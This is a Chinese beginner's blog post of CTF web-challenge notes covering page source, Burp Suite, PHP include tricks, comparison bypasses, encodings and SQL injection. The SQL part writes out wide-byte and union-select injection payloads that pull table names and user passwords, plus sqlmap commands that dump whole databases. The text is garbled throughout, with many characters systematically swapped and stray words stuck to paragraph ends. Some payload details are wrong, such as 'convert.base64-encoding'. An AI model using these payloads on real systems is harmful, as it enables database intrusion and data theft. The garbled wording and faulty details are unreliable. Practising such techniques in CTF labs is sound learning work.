ctf-web--总结几点基础题的作题思路

作了三天web题了,由于刚入门,仍是不要作得太快,先把前几天学到的好好总结一下,主要是作了几道bugku上的web题和合天网安的几道web题,这篇博客先写一些本身的收获,后面再写两篇writeup复习巩固一下作题思路。php

1. 看源码

能够右键->【查看网页源代码】,也能够用火狐和谷歌浏览器的按F12键,按F12键能够修改html源代码方便构造一些值提交,但若是不须要的话直接右键查看源代码更直观,看网页里面的注释之类的都很方便。html

2. 抓包

这几天接触到的抓包通常是用burpsuite,若是要屡次尝试能够右键->【send to Repeater】,若是要对某个字段爆破能够右键->【send to Intruder】,这是我比较经常使用的两种burpsuite的功能。
今天还接触到谷歌浏览器:F12->Network->勾选【Preserve log】,也能够方便查看请求包和响应包的数据(包头字段和网页数据等)。python

3. 关注的几个地方

有时候打开网页后感受没有可疑的地方,首先查看下源代码,看有没有注释之类的提示信息,以后从新打开网页,抓抓包看下请求包响应包的包头数据有没有可疑的地方。git

4. include漏洞

遇到php代码中有include($file)的,通常和 php://input或者php://filter有关,$file值若是是php://input,就要用post表单构造数据,若是是php://filter,就用下面的payload读取文件base64加密后的源代码,解密后查看源代码。github

php://filter/read=convert.base64-encoding/resource=文件名(如index.php)

5. 代码审计

须要屡次动态调试来尝试,以及要关注里面出现的函数,出如今关键位置的函数通常都是有用的,搜索一下有没有相关的漏洞。
还有一些和数据处理有关的绕过,如md5函数结果相等(0ed+)的比较,以及strcmp(array,string)=null,除了遇到时多百度以外,平时也须要多积累到时候才能想到。
还有GET参数构造的时候若是传入的是数组要记得加[],?txt[]=[1,2,3],若是填?txt=[1,2,3]彷佛不会被当作array处理。web

6.编码

JS的几种编码(如JSFUCK)均可以在浏览器F12以后的控制台执行,这样能够省去找解密网站的时间。
html编码,base64编码,url编码等等均可以在burpsuite上的decoder栏解决,可是发现burpsuite有一点很差就是中文不能显示,不知道是否是字符编码没有配置好,找到一个网址:
https://emn178.github.io/online-tools/base64_decode.html
能够解好几种,界面也很简洁。sql

7.SQL注入

最近搞清楚了布尔注入,盲注之类的意思,布尔注入就像一个只会告诉你对或错的机器人,而后你去问他问题从而解决问题,盲注是说不会有提示信息,虽然对数据库的操做依然存在,可是不管是否操做成功都不会告诉你。
a>对一个注入语句记个笔记:数据库

%df' union select 1,database() %23
%df' union select 1,string from sql5.key %23
%df是在编码为gbk的时候用于宽字节注入的;%23就是#,可是用#不能经过;还有能够直接用 union select 字段名 from 数据库名.表名 的方式获取字段的值。

b>对用sqlmap进行手工注入的一些步骤记个笔记
首先找到能够注入的点,好比找到网页的某个动态页面是能够注入用来显示信息的,而后将这个url用sqlmap来暴库爆表。数组

python sqlmap.py -u "url" --level 3 --batch --dbs
python sqlmap.py -u "url" --level 3 --batch -D ctf --tables
python sqlmap.py -u "url" --level 3 --batch -D ctf -T flag --columns --dump

–batch sqlmap不会询问你输入 所有默认肯定
–level 3 指定等级,大于等于3的时候会涉及到http头注入的Referer字段
–(两个-)符号用于查询,好比–dbs用于查询全部的数据库,–tables用于查询全部的表,-(一个-)符号用于指定,好比-D ctf用于指定查询的是ctf数据库,-T flag用于指定查询的是flag表,–dump能够用来将表中字段的值显示出来。
c>还有一些用union select来得到数据库信息的,连接
http://www.2cto.com/article/201208/151503.html
讲得很全面。浏览器

1. @@version()    MYSQL版本
2. @@database()   当前数据库
3. @@user()       当前用户
4. @@datadir      当前数据库路径
5. @@version_compile_os  操做系统版本
1. concat(str1,str2,...)                没有分隔符地链接字符串
2. concat_ws(separator,str1,str2,...)   用分隔符链接字符串
3. group_concat(str1,str2,...)          用逗号分隔字符串
1. 查数据库名,用户名
union select 1,2,concat(user(),database(),version()),4,……,N -- (最后--用于注释掉后面sql语句避免出错) 获得数据库名 2. 查表名: union select group_concat(0x0a,table_name),2 from information_schema.tables where table_schema=库名十六进制# (库名十六进制能够用database()代替) 3. 查列名 union select group_concat(0x0a,column_name),2 from information_schema.columns where table_schema=database() and table_name=’users’# (也能够把表名改成十六进制编码0x75736572734. 查须要的信息(用户名和密码) union select group_concat(distinct 0x0a,user_id,0x0a,first_name,0x0a,last_name,0x0a,user,0x0a,password,0x0a),2 from users #

总结的都比较散碎也比较基础,之后积累的多了一些以后再来继续补充。